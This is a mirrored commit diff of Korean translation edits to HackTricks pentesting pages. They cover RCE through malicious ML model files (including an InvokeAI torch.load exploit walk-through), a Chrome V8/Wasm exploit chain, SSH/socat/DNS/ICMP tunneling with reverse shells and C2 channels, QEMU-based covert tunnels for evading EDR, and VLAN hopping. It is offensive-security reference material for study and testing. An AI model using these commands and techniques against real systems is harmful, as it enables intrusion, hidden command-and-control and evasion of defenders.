mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
ec76f99ff6
commit
5444e26d0a
@ -6,38 +6,38 @@
|
||||
|
||||
Machine Learning 모델은 일반적으로 ONNX, TensorFlow, PyTorch 등 다양한 형식으로 공유됩니다. 이러한 모델은 개발자의 머신이나 프로덕션 시스템에 로드되어 사용될 수 있습니다. 일반적으로 모델에는 악성 코드가 포함되지 않아야 하지만, 모델 로딩 라이브러리의 취약점이나 의도된 기능으로 인해 시스템에서 임의 코드를 실행하는 데 사용될 수 있는 경우가 있습니다.
|
||||
|
||||
이 글을 작성할 당시 이러한 유형의 취약점의 몇 가지 예는 다음과 같습니다:
|
||||
이 글을 작성할 당시 이러한 유형의 취약점 몇 가지 예시는 다음과 같습니다:
|
||||
|
||||
| **Framework / Tool** | **Vulnerability (CVE if available)** | **RCE Vector** | **References** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | 악성 pickle이 모델 체크포인트에서 코드 실행으로 이어짐 ( `weights_only` 보호 장치를 우회함) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + 악성 모델 다운로드로 코드 실행 발생; 관리 API에서 Java deserialization RCE | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | YAML에서 모델 로딩 시 `yaml.unsafe_load` 사용 (코드 실행) <br> **Lambda** 레이어로 모델 로딩 시 임의의 Python 코드 실행 | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | 조작된 `.tflite` 모델이 정수 오버플로우를 유발 → 힙 손상 (잠재적 RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load`를 통해 모델을 로딩하면 공격자의 `__reduce__` 페이로드가 포함된 pickle이 실행됨 | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load` 기본값이 피클된 객체 배열을 허용 – 악성 `.npy/.npz`가 코드 실행을 유발함 | |
|
||||
| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | 악성 pickle이 모델 체크포인트에 포함되어 코드 실행 ( `weights_only` 보호 장치를 우회) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + 악성 모델 다운로드로 코드 실행; 관리 API에서 Java deserialization RCE | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | YAML에서 모델 로딩 시 `yaml.unsafe_load` 사용 (코드 실행) <br> **Lambda** 레이어로 모델 로딩 시 임의의 Python 코드 실행 | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | 조작된 `.tflite` 모델이 정수 오버플로우를 유발 → 힙 손상 (잠재적 RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load`를 통해 모델을 로딩하면 공격자의 `__reduce__` 페이로드가 포함된 pickle이 실행됨 | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load` 기본값이 피클된 객체 배열을 허용 – 악성 `.npy/.npz`가 코드 실행을 유발 | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | ONNX 모델의 외부 가중치 경로가 디렉토리를 탈출할 수 있음 (임의 파일 읽기) <br> 악성 ONNX 모델 tar가 임의 파일을 덮어쓸 수 있음 (RCE로 이어짐) | |
|
||||
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | 사용자 정의 연산자가 있는 모델은 공격자의 네이티브 코드를 로딩해야 함; 복잡한 모델 그래프가 논리를 남용하여 의도하지 않은 계산을 실행함 | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | `--model-control`이 활성화된 모델 로드 API를 사용하면 상대 경로 탐색이 가능하여 파일을 쓸 수 있음 (예: RCE를 위한 `.bashrc` 덮어쓰기) | |
|
||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | 잘못된 GGUF 모델 파일이 파서에서 힙 버퍼 오버플로우를 유발하여 피해 시스템에서 임의 코드 실행을 가능하게 함 | |
|
||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | 악성 HDF5 (`.h5`) 모델이 Lambda 레이어 코드를 포함하고 있어 로딩 시 여전히 실행됨 (Keras safe_mode가 구형 포맷을 커버하지 않음 – “다운그레이드 공격”) | |
|
||||
| **Others** (general) | *Design flaw* – Pickle serialization | 많은 ML 도구 (예: pickle 기반 모델 형식, Python `pickle.load`)는 완화되지 않는 한 모델 파일에 포함된 임의 코드를 실행함 | |
|
||||
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | 사용자 정의 연산자가 있는 모델은 공격자의 네이티브 코드를 로딩해야 함; 복잡한 모델 그래프가 논리를 악용하여 의도하지 않은 계산을 실행함 | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | `--model-control`이 활성화된 모델 로드 API를 사용하면 상대 경로 탐색이 가능하여 파일을 쓸 수 있음 (예: RCE를 위한 `.bashrc` 덮어쓰기) | |
|
||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | 잘못된 GGUF 모델 파일이 파서에서 힙 버퍼 오버플로우를 유발하여 피해 시스템에서 임의 코드 실행을 가능하게 함 | |
|
||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | 악성 HDF5 (`.h5`) 모델이 Lambda 레이어 코드를 포함하고 있어 로딩 시 여전히 실행됨 (Keras safe_mode는 구형 포맷을 커버하지 않음 – “다운그레이드 공격”) | |
|
||||
| **Others** (general) | *Design flaw* – Pickle serialization | 많은 ML 도구 (예: pickle 기반 모델 형식, Python `pickle.load`)는 완화되지 않는 한 모델 파일에 포함된 임의 코드를 실행함 | |
|
||||
|
||||
또한, [PyTorch](https://github.com/pytorch/pytorch/security)에서 사용되는 것과 같은 Python pickle 기반 모델은 `weights_only=True`로 로드되지 않으면 시스템에서 임의 코드를 실행하는 데 사용될 수 있습니다. 따라서, 테이블에 나열되지 않은 경우에도 모든 pickle 기반 모델은 이러한 유형의 공격에 특히 취약할 수 있습니다.
|
||||
|
||||
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
|
||||
|
||||
`InvokeAI`는 Stable-Diffusion을 위한 인기 있는 오픈 소스 웹 인터페이스입니다. 버전 **5.3.1 – 5.4.2**는 사용자가 임의의 URL에서 모델을 다운로드하고 로드할 수 있도록 하는 REST 엔드포인트 `/api/v2/models/install`를 노출합니다.
|
||||
`InvokeAI`는 Stable-Diffusion을 위한 인기 있는 오픈 소스 웹 인터페이스입니다. 버전 **5.3.1 – 5.4.2**는 사용자가 임의의 URL에서 모델을 다운로드하고 로드할 수 있는 REST 엔드포인트 `/api/v2/models/install`를 노출합니다.
|
||||
|
||||
내부적으로 이 엔드포인트는 결국 다음을 호출합니다:
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
제공된 파일이 **PyTorch 체크포인트 (`*.ckpt`)**인 경우, `torch.load`는 **픽클 역직렬화**를 수행합니다. 콘텐츠가 사용자 제어 URL에서 직접 오기 때문에, 공격자는 체크포인트 내에 사용자 정의 `__reduce__` 메서드를 가진 악성 객체를 삽입할 수 있습니다. 이 메서드는 **역직렬화** 중에 실행되어 **원격 코드 실행 (RCE)**을 InvokeAI 서버에서 유발합니다.
|
||||
When the supplied file is a **PyTorch checkpoint (`*.ckpt`)**, `torch.load` performs a **pickle deserialization**. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom `__reduce__` method inside the checkpoint; the method is executed **during deserialization**, leading to **remote code execution (RCE)** on the InvokeAI server.
|
||||
|
||||
이 취약점은 **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %)로 할당되었습니다.
|
||||
The vulnerability was assigned **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
|
||||
#### 악용 절차
|
||||
#### Exploitation walk-through
|
||||
|
||||
1. 악성 체크포인트 생성:
|
||||
```python
|
||||
@ -69,7 +69,7 @@ timeout=5,
|
||||
```
|
||||
4. InvokeAI가 파일을 다운로드할 때 `torch.load()`를 호출합니다 → `os.system` 가젯이 실행되고 공격자는 InvokeAI 프로세스의 컨텍스트에서 코드 실행을 얻습니다.
|
||||
|
||||
Ready-made exploit: **Metasploit** 모듈 `exploit/linux/http/invokeai_rce_cve_2024_12029`가 전체 흐름을 자동화합니다.
|
||||
기성 익스플로잇: **Metasploit** 모듈 `exploit/linux/http/invokeai_rce_cve_2024_12029`가 전체 흐름을 자동화합니다.
|
||||
|
||||
#### 조건
|
||||
|
||||
@ -81,13 +81,13 @@ Ready-made exploit: **Metasploit** 모듈 `exploit/linux/http/invokeai_rce_cve_2
|
||||
|
||||
* **InvokeAI ≥ 5.4.3**로 업그레이드 – 패치는 기본적으로 `scan=True`로 설정하고 역직렬화 전에 악성 코드 스캔을 수행합니다.
|
||||
* 체크포인트를 프로그래밍적으로 로드할 때 `torch.load(file, weights_only=True)` 또는 새로운 [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) 헬퍼를 사용합니다.
|
||||
* 모델 소스에 대한 허용 목록 / 서명을 시행하고 최소 권한으로 서비스를 실행합니다.
|
||||
* 모델 소스에 대한 허용 목록/서명을 시행하고 최소 권한으로 서비스를 실행합니다.
|
||||
|
||||
> ⚠️ **모든** Python pickle 기반 형식(많은 `.pt`, `.pkl`, `.ckpt`, `.pth` 파일 포함)은 신뢰할 수 없는 소스에서 역직렬화하는 것이 본질적으로 안전하지 않다는 것을 기억하세요.
|
||||
|
||||
---
|
||||
|
||||
역방향 프록시 뒤에서 이전 InvokeAI 버전을 계속 실행해야 하는 경우의 임시 완화 조치 예:
|
||||
리버스 프록시 뒤에서 이전 InvokeAI 버전을 계속 실행해야 하는 경우의 임시 완화 조치 예:
|
||||
```nginx
|
||||
location /api/v2/models/install {
|
||||
deny all; # block direct Internet access
|
||||
|
@ -2,10 +2,10 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> 이 페이지는 **실용적인** 현대 "풀 체인" 익스플로잇 워크플로우에 대한 높은 수준의 개요를 제공합니다. 이는 Google Chrome 130을 대상으로 하며, **“101 Chrome Exploitation”** 연구 시리즈(Part-0 — 서문)를 기반으로 합니다.
|
||||
> 이 페이지는 **실용적인** 현대 "풀 체인" 익스플로잇 워크플로우에 대한 높은 수준의 개요를 제공합니다. 이는 **“101 Chrome Exploitation”** 연구 시리즈를 기반으로 하며, Google Chrome 130에 대한 것입니다 (Part-0 — 서문).
|
||||
> 목표는 펜테스터와 익스플로잇 개발자에게 자신의 연구를 위해 기술을 재현하거나 조정하는 데 필요한 최소한의 배경 지식을 제공하는 것입니다.
|
||||
|
||||
## 1. Chrome 아키텍처 요약
|
||||
## 1. Chrome Architecture Recap
|
||||
공격 표면을 이해하려면 코드가 실행되는 위치와 적용되는 샌드박스를 알아야 합니다.
|
||||
```
|
||||
+-------------------------------------------------------------------------+
|
||||
@ -37,7 +37,7 @@ Layered defence-in-depth:
|
||||
|
||||
1. V8 내부의 메모리 손상을 통해 **V8 힙 내에서 임의의 RW를 얻습니다**.
|
||||
2. 공격자가 **V8 샌드박스를 탈출하여 전체 렌더러 메모리에 접근할 수 있게 하는 두 번째 버그**.
|
||||
3. **Chrome OS 샌드박스 외부에서 코드를 실행하기 위한 최종 샌드박스 탈출** (종종 메모리 손상보다 논리적입니다).
|
||||
3. **Chrome OS 샌드박스 외부에서 코드를 실행하기 위한 최종 샌드박스 탈출** (종종 메모리 손상보다는 논리적).
|
||||
|
||||
---
|
||||
|
||||
@ -65,7 +65,7 @@ end
|
||||
end)
|
||||
(export "f" (func $f)))
|
||||
```
|
||||
트리거 최적화 및 JS에서 객체 분사:
|
||||
트리거 최적화 및 JS에서 객체 스프레이:
|
||||
```js
|
||||
const wasmMod = new WebAssembly.Module(bytes);
|
||||
const wasmInst = new WebAssembly.Instance(wasmMod);
|
||||
@ -78,22 +78,22 @@ let victim = {m: 13.37};
|
||||
let fake = arbitrary_data_backed_typedarray;
|
||||
let addrVict = addrOf(victim);
|
||||
```
|
||||
결과: **V8 내에서 임의 읽기/쓰기**.
|
||||
Outcome: **임의 읽기/쓰기 V8 내에서**.
|
||||
|
||||
---
|
||||
|
||||
## 3. 2단계 – V8 샌드박스 탈출 (문제 379140430)
|
||||
## 3. Stage 2 – V8 샌드박스 탈출 (문제 379140430)
|
||||
|
||||
Wasm 함수가 tier-up-compiled될 때, **JS ↔ Wasm wrapper**가 생성됩니다. 서명 불일치 버그로 인해 Wasm 함수가 *스택에 있는 동안* 재최적화될 때 wrapper가 신뢰된 **`Tuple2`** 객체의 끝을 넘어 쓰게 됩니다.
|
||||
Wasm 함수가 tier-up-컴파일될 때, **JS ↔ Wasm 래퍼**가 생성됩니다. 서명 불일치 버그로 인해 래퍼가 Wasm 함수가 *스택에 있는 동안* 재최적화될 때 신뢰된 **`Tuple2`** 객체의 끝을 넘어 쓰게 됩니다.
|
||||
|
||||
`Tuple2` 객체의 2 × 64비트 필드를 덮어쓰면 **렌더러 프로세스 내의 모든 주소에 대한 읽기/쓰기**가 가능해져 V8 샌드박스를 효과적으로 우회합니다.
|
||||
|
||||
익스플로잇의 주요 단계:
|
||||
1. turbofan/baseline 코드를 번갈아 사용하여 함수를 **Tier-Up** 상태로 만듭니다.
|
||||
1. 터보팬/베이스라인 코드를 번갈아 사용하여 함수를 **Tier-Up** 상태로 만듭니다.
|
||||
2. 스택에서 참조를 유지하면서 tier-up을 트리거합니다 (`Function.prototype.apply`).
|
||||
3. Stage-1 AAR/AAW를 사용하여 인접한 `Tuple2`를 찾고 손상시킵니다.
|
||||
|
||||
Wrapper 식별:
|
||||
래퍼 식별:
|
||||
```js
|
||||
function wrapperGen(arg) {
|
||||
return f(arg);
|
||||
|
@ -5,7 +5,7 @@
|
||||
## Nmap tip
|
||||
|
||||
> [!WARNING]
|
||||
> **ICMP** 및 **SYN** 스캔은 socks 프록시를 통해 터널링할 수 없으므로 **ping 탐색을 비활성화**해야 합니다 (`-Pn`) 및 **TCP 스캔**을 지정해야 합니다 (`-sT`) 이 작업이 수행되도록 합니다.
|
||||
> **ICMP** 및 **SYN** 스캔은 socks 프록시를 통해 터널링할 수 없으므로 **ping 탐지**를 **비활성화**해야 합니다 (`-Pn`) 그리고 **TCP 스캔**(`-sT`)을 지정해야 합니다.
|
||||
|
||||
## **Bash**
|
||||
|
||||
@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
||||
```
|
||||
### Port2Port
|
||||
|
||||
로컬 포트 --> 손상된 호스트 (SSH) --> 제3의 박스:포트
|
||||
로컬 포트 --> 손상된 호스트 (SSH) --> Third_box:Port
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
@ -55,7 +55,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### 리버스 포트 포워딩
|
||||
### Reverse Port Forwarding
|
||||
|
||||
이것은 DMZ를 통해 내부 호스트에서 귀하의 호스트로 리버스 셸을 얻는 데 유용합니다:
|
||||
```bash
|
||||
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
두 장치에서 **루트 권한이 필요합니다** (새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정에서 루트 로그인을 허용해야 합니다:\
|
||||
두 장치 모두에서 **루트 권한이 필요**합니다(새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정에서 루트 로그인을 허용해야 합니다:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **보안 – 테라핀 공격 (CVE-2023-48795)**
|
||||
> 2023 테라핀 다운그레이드 공격은 중간자 공격자가 초기 SSH 핸드셰이크를 조작하고 **모든 포워딩 채널** ( `-L`, `-R`, `-D` )에 데이터를 주입할 수 있게 합니다. 클라이언트와 서버 모두 패치되었는지 확인하세요 (**OpenSSH ≥ 9.6/LibreSSH 6.7**) 또는 SSH 터널에 의존하기 전에 취약한 `chacha20-poly1305@openssh.com` 및 `*-etm@openssh.com` 알고리즘을 `sshd_config`/`ssh_config`에서 명시적으로 비활성화하세요.
|
||||
> 2023 테라핀 다운그레이드 공격은 중간자 공격자가 초기 SSH 핸드셰이크를 변조하고 **모든 포워딩 채널** ( `-L`, `-R`, `-D` )에 데이터를 주입할 수 있게 합니다. 클라이언트와 서버 모두 패치되었는지 확인하세요 (**OpenSSH ≥ 9.6/LibreSSH 6.7**) 또는 SSH 터널에 의존하기 전에 취약한 `chacha20-poly1305@openssh.com` 및 `*-etm@openssh.com` 알고리즘을 `sshd_config`/`ssh_config`에서 명시적으로 비활성화하세요.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS 프록시
|
||||
|
||||
모든 인터페이스에서 수신 대기하는 팀 서버에서 포트를 열어 **비콘을 통해 트래픽을 라우팅**할 수 있습니다.
|
||||
모든 인터페이스에서 수신 대기하는 팀 서버에서 포트를 열어 **비콘을 통해 트래픽을 라우팅**하는 데 사용할 수 있습니다.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -178,8 +178,8 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
```
|
||||
## Chisel
|
||||
|
||||
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)의 릴리스 페이지에서 다운로드할 수 있습니다.\
|
||||
클라이언트와 서버에 **같은 버전**을 사용해야 합니다.
|
||||
You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
**클라이언트와 서버에 동일한 버전을 사용해야 합니다.**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
@ -296,7 +296,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat 터널
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh 콘솔**
|
||||
|
||||
@ -347,10 +347,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
**시스템에 대한 RDP 액세스가 필요합니다.**\
|
||||
**RDP 액세스가 시스템에 필요합니다.**\
|
||||
다운로드:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 이 도구는 Windows의 원격 데스크톱 서비스 기능에서 `Dynamic Virtual Channels` (`DVC`)를 사용합니다. DVC는 **RDP 연결을 통해 패킷을 터널링하는** 역할을 합니다.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 이 도구는 Windows의 원격 데스크톱 서비스 기능에서 `Dynamic Virtual Channels` (`DVC`)를 사용합니다. DVC는 **RDP 연결을 통한 패킷 터널링**을 담당합니다.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
클라이언트 컴퓨터에서 **`SocksOverRDP-Plugin.dll`**을 다음과 같이 로드합니다:
|
||||
@ -415,13 +415,13 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
터널은 매우 느릴 것입니다. 이 터널을 통해 압축된 SSH 연결을 생성할 수 있습니다:
|
||||
터널은 매우 느릴 것입니다. 이 터널을 통해 압축된 SSH 연결을 생성하려면 다음을 사용하십시오:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
### DNSCat2
|
||||
|
||||
[**여기에서 다운로드**](https://github.com/iagox86/dnscat2)**.**
|
||||
[**여기에서 다운로드하세요**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
DNS를 통해 C\&C 채널을 설정합니다. 루트 권한이 필요하지 않습니다.
|
||||
```bash
|
||||
@ -434,7 +434,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||||
```
|
||||
#### **PowerShell에서**
|
||||
|
||||
PowerShell에서 dnscat2 클라이언트를 실행하려면 [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)를 사용할 수 있습니다:
|
||||
[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)를 사용하여 PowerShell에서 dnscat2 클라이언트를 실행할 수 있습니다:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
@ -444,11 +444,11 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
|
||||
#### 프록시체인 DNS 변경
|
||||
#### Proxychains DNS 변경
|
||||
|
||||
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 SOCKS 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다(하드코딩됨). 이를 변경하려면 파일을 편집하세요: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경합니다. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
||||
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 socks 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다 (하드코딩됨). 이를 변경하려면 파일을 편집하십시오: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경하십시오. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
||||
|
||||
## Go의 터널
|
||||
## Go에서의 터널
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
@ -459,7 +459,7 @@ Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 SOC
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
두 시스템 모두에서 루트 권한이 필요하여 TUN 어댑터를 생성하고 ICMP 에코 요청을 사용하여 데이터 간에 터널링합니다.
|
||||
두 시스템 모두에서 루트 권한이 필요하며, ICMP 에코 요청을 사용하여 tun 어댑터를 생성하고 데이터 간에 터널링합니다.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -608,11 +608,11 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
위 명령은 피해자의 포트 **8080**을 **attacker_ip:9000**으로 게시하며, 추가 도구를 배포하지 않고도 수행됩니다 – 이는 living-off-the-land 피벗에 이상적입니다.
|
||||
위의 명령은 피해자의 포트 **8080**을 **attacker_ip:9000**으로 게시하며, 추가 도구를 배포하지 않고도 수행됩니다 – 이는 living-off-the-land 피벗에 이상적입니다.
|
||||
|
||||
## QEMU를 이용한 은밀한 VM 기반 터널
|
||||
|
||||
QEMU의 사용자 모드 네트워킹(`-netdev user`)은 `hostfwd`라는 옵션을 지원하며, 이는 **호스트의 TCP/UDP 포트를 바인딩하고 이를 *게스트*로 전달**합니다. 게스트가 전체 SSH 데몬을 실행할 때, hostfwd 규칙은 일회용 SSH 점프 박스를 제공하며, 이는 완전히 일시적인 VM 내부에 존재합니다 – 모든 악성 활동과 파일이 가상 디스크에 남아 EDR로부터 C2 트래픽을 숨기기에 완벽합니다.
|
||||
QEMU의 사용자 모드 네트워킹(`-netdev user`)은 `hostfwd`라는 옵션을 지원하며, 이는 **호스트의 TCP/UDP 포트를 바인딩하고 이를 *게스트*로 전달합니다**. 게스트가 전체 SSH 데몬을 실행할 때, hostfwd 규칙은 일회용 SSH 점프 박스를 제공하며, 이는 완전히 임시 VM 내에서 살아 있습니다 – 모든 악성 활동과 파일이 가상 디스크에 남아 있기 때문에 EDR로부터 C2 트래픽을 숨기기에 완벽합니다.
|
||||
|
||||
### 간단한 원라이너
|
||||
```powershell
|
||||
@ -626,7 +626,7 @@ qemu-system-x86_64.exe ^
|
||||
```
|
||||
• 위의 명령은 **Tiny Core Linux** 이미지(`tc.qcow2`)를 RAM에서 실행합니다.
|
||||
• Windows 호스트의 포트 **2222/tcp**는 게스트 내부의 **22/tcp**로 투명하게 포워딩됩니다.
|
||||
• 공격자의 관점에서 대상은 단순히 포트 2222를 노출합니다; 이 포트에 도달하는 모든 패킷은 VM에서 실행 중인 SSH 서버에 의해 처리됩니다.
|
||||
• 공격자의 관점에서 대상은 단순히 포트 2222를 노출합니다. 해당 포트에 도달하는 모든 패킷은 VM에서 실행 중인 SSH 서버에 의해 처리됩니다.
|
||||
|
||||
### VBScript를 통한 은밀한 실행
|
||||
```vb
|
||||
@ -653,12 +653,12 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
### 왜 이것이 탐지를 피하는가
|
||||
|
||||
• 두 개의 서명되지 않은 실행 파일(`qemu-system-*.exe`)만이 디스크에 접근하며, 드라이버나 서비스는 설치되지 않습니다.
|
||||
• 호스트의 보안 제품은 **무해한 루프백 트래픽**을 감지합니다(실제 C2는 VM 내부에서 종료됩니다).
|
||||
• 호스트의 보안 제품은 **무해한 루프백 트래픽**을 봅니다 (실제 C2는 VM 내부에서 종료됩니다).
|
||||
• 메모리 스캐너는 악성 프로세스 공간을 분석하지 않으며, 이는 다른 OS에 존재합니다.
|
||||
|
||||
### Defender 팁
|
||||
|
||||
• 사용자 쓰기 가능한 경로에 **예상치 못한 QEMU/VirtualBox/KVM 바이너리**에 대해 경고합니다.
|
||||
• 사용자 쓰기 가능한 경로에 있는 **예상치 못한 QEMU/VirtualBox/KVM 바이너리**에 경고합니다.
|
||||
• `qemu-system*.exe`에서 시작되는 아웃바운드 연결을 차단합니다.
|
||||
• QEMU 시작 직후 즉시 바인딩되는 드문 리스닝 포트(2222, 10022, …)를 추적합니다.
|
||||
|
||||
@ -669,7 +669,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
## 참고문헌
|
||||
## 참고 문헌
|
||||
|
||||
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN에 대한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (**자세한 내용은 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) 확인하세요.**)
|
||||
|
||||
먼저, 특정 연결 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다.
|
||||
먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다.
|
||||
|
||||
**CDP가 작동하지 않는 경우, MAC 주소를 검색하여 포트 식별을 시도할 수 있습니다**:
|
||||
```
|
||||
